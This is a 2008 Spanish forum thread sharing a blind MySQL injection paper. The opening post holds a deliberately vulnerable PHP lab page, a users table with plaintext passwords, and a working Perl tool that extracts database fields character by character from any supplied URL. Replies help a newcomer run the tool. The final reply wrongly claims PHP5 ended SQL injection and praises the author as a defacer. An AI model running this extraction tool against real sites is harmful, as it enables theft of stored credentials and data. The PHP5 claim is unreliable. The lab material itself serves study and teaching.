Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Hendrix en 26 Abril 2008, 16:46 pm



Título: Blind MySql Injection by Ka0x
Publicado por: Hendrix en 26 Abril 2008, 16:46 pm
Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código
  1. <?php
  2.  
  3. # ---- CONFIG -----
  4. $host = 'localhost';
  5. $dbuser = 'root';
  6. $dbpass = 'password';
  7. $dbname = 'blind';
  8. # -----------------
  9.  
  10. echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
  11.  
  12. $db = mysql_connect($host, $dbuser, $dbpass);
  13. mysql_select_db($dbname,$db);
  14.  
  15.  
  16. $sql = "SELECT * FROM users WHERE id=".$_GET['id'];
  17. $query = mysql_query($sql);
  18.  
  19. if(@mysql_num_rows($query)==0){
  20. die('No hay columnas');
  21. }
  22.  
  23. $result=@mysql_fetch_row($query);
  24. echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
  25. echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
  26. echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
  27. // echo "Passwd: ".$result[2]."<br>";
  28. echo "</h2></center>";
  29.  
  30. die();
  31.  
  32. ?>

Código SQL:

Código
  1. -- Table: users
  2. -- by ka0x - D.O.M
  3. -- Blind SQL Injection Paper
  4.  
  5. CREATE TABLE `users` (
  6.  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  7.  `name` VARCHAR(50) NOT NULL,
  8.  `password` VARCHAR(50) NOT NULL,
  9.  PRIMARY KEY  (`id`)
  10. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
  11.  
  12. -- users --
  13. INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
  14. INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
  15. INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
  16. -- eof --

Código Perl:

Código
  1. #!/usr/bin/perl -W
  2.  
  3. # Blind MySQL Injection Paper
  4. # example brute force
  5.  
  6. # -- OPTIONS --
  7. my $MAX_FIELD_LENGTH = 200 ;
  8. my $EXIT_IF_NO_CHAR = 1 ;
  9. my $DEFAULT_THREADS = 15 ;
  10. my $DEFAULT_THREADS_TIMEOUT = 30 ;
  11. my @ascii = ( 33 .. 123 ) ;
  12. my $DEFAULT_THREADS_TIME = 1 ;
  13. # ---
  14.  
  15. use LWP::UserAgent ;
  16.  
  17. sub _HELP_AND_EXIT
  18. {
  19. die "
  20.  
  21.  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
  22.  
  23. Options:
  24.  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  25.  -tn   <table_name>        Table name.
  26.  -cn   <column_name>       Column name.
  27.  -p    <pattern>           HTML pattern.
  28.  
  29. Other:
  30.  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  31.  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  32.  -T    <#>                 Timeout.
  33.  -h                        Help (also with --help).
  34. " ;
  35. }
  36.  
  37.  
  38. my ($p, $w) = ({ @ARGV }, { }) ;
  39.  
  40. map {
  41. &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
  42. } keys %$p ;
  43.  
  44. map {
  45. die "[!] Require: $_\n" unless $p->{ $_ } ;
  46. } qw/-u -tn -cn -p/ ;
  47.  
  48. $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
  49. $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
  50. $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
  51.  
  52. map {
  53. warn "[i] Getting default: $_ $w->{ $_ }\n" ;
  54. } sort keys %$w ;
  55.  
  56. ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
  57.  
  58.  
  59.  
  60.  
  61. sub _START_WORK
  62. {
  63. my $p = shift ;
  64.  
  65. ($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value
  66.  
  67. my $position = 1 ;
  68.  
  69. pipe(R, W) ;
  70. pipe(Rs, Ws) ;
  71. autoflush STDOUT 1 ;
  72.  
  73. my $sql_message = '' ;
  74. my $msg = '' ;
  75. my @pid ;
  76.  
  77. while( $position <= $p->{'-l'} )
  78. {
  79. my $cf ;
  80. unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
  81. push(@pid, $cf) ;
  82.  
  83. my $count = 0 ;
  84. my $can_exit ;
  85. my $char_printed ;
  86.  
  87. while(<R>)
  88. {
  89. push(@pid, (split(/:/))[1] ) if /^pid/ ;
  90.  
  91. my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
  92. $count++ if $pos == $position ;
  93.  
  94. print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
  95.  
  96. if( $res eq 'yes' and $pos == $position ){
  97. $char_printed = $can_exit = 1 ;
  98. print Ws "STOP $position\n" ;
  99. $sql_message .= chr( $ascii ) ;
  100. }
  101.  
  102. last if ( $can_exit or $count == @ascii );
  103. }
  104.  
  105. map { waitpid($_, 0) } @pid ;
  106.  
  107. unless( $char_printed )
  108. {
  109. if( $EXIT_IF_NO_CHAR )
  110. {
  111. warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
  112. last ;
  113. }
  114. }
  115.  
  116. $position++ ;
  117. }
  118.  
  119. print "[i] SQL_FIELD:\n$sql_message\n" ;
  120.  
  121. }
  122.  
  123. sub _CHECKING
  124. {
  125. my ($p, $position) = @_ ;
  126. my $counter = 0 ;
  127. my $stop_position ;
  128.  
  129. foreach my $ascii ( @ascii )
  130. {
  131. $counter++ ;
  132.  
  133. if( $counter % $p->{'-t'} == 0 )
  134. {
  135. my $stop_position ;
  136. {
  137. $SIG{'ALRM'} = sub { die "non_stop\n" } ;
  138. alarm $DEFAULT_THREADS_TIME ;
  139. my $line = <Rs> ;
  140. $stop_position = (split( / /, $line))[1] ;
  141. alarm 0 ;
  142. } ;
  143.  
  144. if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
  145. }
  146.  
  147. unless(my $pid = fork )
  148. {
  149. print Ws "pid:$pid\n" or die ;
  150.  
  151.  
  152. my $url = $p->{'-u'} .
  153. ' AND ascii(substring((SELECT ' . $p->{'-cn'} .
  154. ' FROM ' . $p->{'-tn'} . ' where id=' .
  155. $p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
  156.  
  157. my $ua = LWP::UserAgent->new ;
  158. $ua->timeout( $p->{'-T'} ) ;
  159.  
  160. my $content ;
  161. while( 1 )
  162. {
  163. last if $content = $ua->get( $url )->content ;
  164. }
  165.  
  166. ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
  167.  
  168. exit( 0 ) ;
  169. }
  170.  
  171. }
  172. }
  173.  
  174.  
  175.  
  176. sub _IS_VULN
  177. {
  178. my $p = shift ;
  179.  
  180. my $ua = LWP::UserAgent->new ;
  181. $ua->timeout( $p->{'-T'} ) ;
  182.  
  183. my ( $one, $two ) = (
  184. $ua->get( $p->{'-u'}." AND 1=1")->content ,
  185. $ua->get( $p->{'-u'}." AND 1=2")->content ,
  186. ) ;
  187.  
  188. return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
  189. }



Título: Re: Blind MySql Injection by Ka0x
Publicado por: Securitykill en 26 Abril 2008, 17:12 pm
Precisamente ayer lei el paper y .. Esta muy bueno  :D

Saludos  :)


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 26 Abril 2008, 21:46 pm
w0w!  :o
Lo leí y esta perfecto ademas metieron códigos de ejemplo  :D
Asi si que se entiende 100%

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: Dynamique en 27 Abril 2008, 01:55 am
Muy bonito   :laugh:

Y fácil de entender , haber si postean más así  ^^


Título: Re: Blind MySql Injection by Ka0x
Publicado por: GiRLaZo en 27 Abril 2008, 22:06 pm
Saludos.

Tengo un problema y es que cuando he subido la base de datos... y esta todo echo pero cuando lo cargo... es decir cuando abro el archivo php... me dice "No hay columnas".
La verdad, no se donde esta el fallo, he echo bien lo del config, he subido el SQL posteado a mi base de datos y nada, me da ese error...

Atte: GiR


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 27 Abril 2008, 22:36 pm
Saludos.

Tengo un problema y es que cuando he subido la base de datos... y esta todo echo pero cuando lo cargo... es decir cuando abro el archivo php... me dice "No hay columnas".
La verdad, no se donde esta el fallo, he echo bien lo del config, he subido el SQL posteado a mi base de datos y nada, me da ese error...

Atte: GiR

hombre lógico, si entras http://localhost/vulnerable.php no seleccionas ningun registro de la base de datos y el script muere diciendo que "No hay columnas":

Código
  1. if(@mysql_num_rows($query)==0){
  2. die('No hay columnas');
  3. }

pero si haces: http://localhost/vulnerable.php?id=1
Pues ya te saldra el usuario "administrator".

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: GiRLaZo en 28 Abril 2008, 20:26 pm
Saludos

Gracias, no me habia dado cuenta del enorme fallo pero ahora mi duda es que ejecuto el archivo perl... con cmd.exe

guardo el archivo como blind.pl voy a abrirlo con el CMD.exe y me abre un bloc de notas con el codigo =(  ?? como hago para que se ejecute devidamente?

Atte:GiR


Título: Re: Blind MySql Injection by Ka0x
Publicado por: Azielito en 28 Abril 2008, 20:45 pm
lee los post pegados uqe para algo estan, busca de como abrir exploits y eso, tienes que intstalar perl y con cmd invocar a este con el nombre de archivo que quieres que interprete ;)



sobre el tuto lo estoy leyendo, me estoy metiendo un poco en ese rollo, por cierto el amigo R41N-W4R3 me pasu un excelente manual, espero que lo pueda compartir con ustedes tambien :D


Título: Re: Blind MySql Injection by Ka0x
Publicado por: GiRLaZo en 28 Abril 2008, 21:12 pm
Saludos

Gracias por vuestra paciencia por un newbie tan grande como yo ^^ espero que algun futuro os pueda ayudar en lo que sea...

Atte: GiR

PD: perdonar mi ignorancia


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 28 Abril 2008, 21:48 pm
Saludos

Gracias, no me habia dado cuenta del enorme fallo pero ahora mi duda es que ejecuto el archivo perl... con cmd.exe

guardo el archivo como blind.pl voy a abrirlo con el CMD.exe y me abre un bloc de notas con el codigo =(  ?? como hago para que se ejecute devidamente?

Atte:GiR

Yo el script lo probe en WINDOWS y no rula, al parecer esta hecho para LINUX.
Pruebalo en Linux, guardas el código como blind.pl, vas a la terminal, vas al directorio donde hayas dejado el script y lo ejecutas:

# perl blind.pl <argumentos del script>

ó

# ./blind.pl <argumentos del script>

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: GiRLaZo en 28 Abril 2008, 22:30 pm
Saludos.

z1rr0s1s ami en windows me ha funciona... es decir me ha ejecutado lo que pasa que el ultimo atributo -p... no se exactamente que es lo que quiere decir o que dato es vaya

Atte:GiR


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 28 Abril 2008, 22:42 pm
El argumento -p es el patron de busqueda.
Osea cuando da un valor true (cuando se muestra la información de la página correctamente), suele mostrar:

user_id, username. Cualquier palabra que aparezca cuando el valor es true puede ser el argumento -p. En la imagen que ponen de la ejecución del script en el pdf ponen en el agumento si te fijas "user_id". Claro esta que con que podrias "id" ya te valdria  ;)

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: Snap90210 en 30 Abril 2008, 04:43 am
Como va a andar en windows  :laugh: !? bajencen el ActivePerl si lo quieren ejecutar en win, en la mayoria d los linux viene nativo sino.

Con respecto al tutorial es bueno y entendible, lo unico malo son los ERRORES de ortografia q tiene, los cuales le sacan toda la seriedad; para la proxima q se haga un script auto-corrector xDDD

Para el SQL-blind recomiendo el SQLninja es genial !


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 30 Abril 2008, 21:20 pm
Para el SQL-blind recomiendo el SQLninja es genial !

¿De que te sirve usar una herramienta sin saber que operación realiza?

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: Snap90210 en 30 Abril 2008, 23:59 pm
¿De que te sirve usar una herramienta sin saber que operación realiza?

Saludos.

Se nota que no tienes idea de lo que estas hablando, ni sabes lo que es una Blind-SQL, ni el porque del uso de scripts.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: pedrox@ en 1 Mayo 2008, 14:13 pm
jajajaja en fin ...
sigue usando SQLNinja ;)! paso de discutir en el foro.

Saludos.


Título: Re: Blind MySql Injection by Ka0x
Publicado por: Snap90210 en 2 Mayo 2008, 14:57 pm
y si lee/estudia mucho primero y dsp volve !  (http://www.everythingyourspace.com/layouts/up/bace-85675-th_emoticons.jpg)

saludos


Título: Re: Blind MySql Injection by Ka0x
Publicado por: alienmaster en 10 Mayo 2008, 13:01 pm
La verdad esta bien escrito, expresado y demas, pero es inutil en el sentido de que ahora con php5 se acabaron las inyecciones SQL, a noser que alguien sea tan estupido para poner safemode en off. Respecto a su autor merece un respeto, hablamos de ka0x, uno de los mejores defacers españoles.

Saludos, aLm!